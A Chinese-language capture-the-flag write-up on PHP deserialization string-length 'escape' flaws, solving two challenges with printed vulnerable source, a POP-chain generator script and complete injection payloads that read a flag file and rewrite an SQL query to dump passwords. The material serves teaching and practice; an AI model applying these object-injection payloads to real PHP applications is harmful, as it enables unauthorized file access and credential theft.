反序列化字节逃逸 #
当 PHP 中序列化后的数据进行了长度替换之后,就可能存在这一漏洞,即通过修改输入数据从而控制整个序列化的内容。
[安洵杯 2019]easy_serialize_php
题目源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
在 phpinfo 中发现了文件包含 d0g3_f1ag.php
可以看到在倒数第二行存在一个文件读取
读取的内容是 _SESSION['img']
同时存在一个变量覆盖及序列化数据的替换
首先默认的序列化数据是
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:14:"highlight_file";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
这里可以控制的部分是 user 和 function 的内容
于是要利用过滤,用 user 吃掉后面的
";s:8:"function";s:14:
之后在 function 的部分便可以写入数据控制后面的内容了
要吃掉的数据一共是22个,于是 user 的值为 phpphpphpphpphpphpflag
_SESSION[function] 的值为
;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"ccc";s:2:"ok";}
这里要保证数组内的个数相等,所以要传入两个值
再传入 f = show_image 即可查看文件
之后回显为
$flag = 'flag in /d0g3_fllllllag';
再次编码查看文件,获得 flag
[GYCTF2020]Easyphp
这个也是通过改变序列化字节造成的漏洞,和上一个减少不同,这个是增加字节长度
网站根目录下 www.zip 下载题目
先看这个存放类的 lib.php
在登录时用了 User 类的 login 方法
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
而 login 实例化了另一个类 dbCtrl
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
这是一个执行查询语句的方法,同时 token 要设成 admin 才会返回结果
而 update.php 则使用了 update 方法
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
}
2
3
4
5
6
这里可以看到第一行反序列化了 getNewinfo()
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
2
3
4
5
以及 Info 类
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
2
3
4
5
6
7
8
9
10
11
12
safe方法
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
2
3
4
之后实例化了新的类 UpdateHelper
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
在这个类里也实例化了 dbCtrl
同时在 User 类里存在
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
2
3
4
5
6
7
8
然后来总结一下出现的魔术方法
__construct() 当一个对象创建时被调用
__destruct() 当一个对象销毁时被调用
__toString() 当一个对象被当作一个字符串使用
__call 当调用的方法不存在时触发
2
3
4
最终目的是改变 dbCtrl 中的查询语句从而查出账号密码
我们可以看到在 getNewInfo 中存在 safe 方法的替换,改变了序列化数据的长度
UpdateHelper 类的 __destruct() 首先用通过 echo 调用 __toString,通过将 nickname 实例化为 Info 调用 Info 中的 call
再将 CtrlCase 实例化为 dbCtrl,从而调用 dbCtrl 中的 login 方法
原本在 update() 中序列化的内容为
O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";N;}
然后通过 safe 的过滤把反序列化数据挤出去,为保证对象个数的一致,这里要写进 CtrlCase 对象
编写以下脚本进行序列化
<?php
class Info{
public $age;
public $nickname;
public $CtrlCase;
}
class User
{
public $id;
public $age="select password,id from user where username=?";
public $nickname;
}
class UpdateHelper
{
public $id;
public $newinfo;
public $sql;
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name='admin';
public $password;
public $mysqli;
public $token='admin';
}
$d = new dbCtrl();
$i = new Info();
$i->CtrlCase=$d;
$u = new user();
$u->nickname=$i;
$U=new UpdateHelper();
$U->sql=$u;
echo serialize($U);
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
之后作为 CtrlCase 的值传入
";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}
一共 443 字节
用 80 个单引号和三个 union 挤出这部分
完整payload
age=&nickname=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}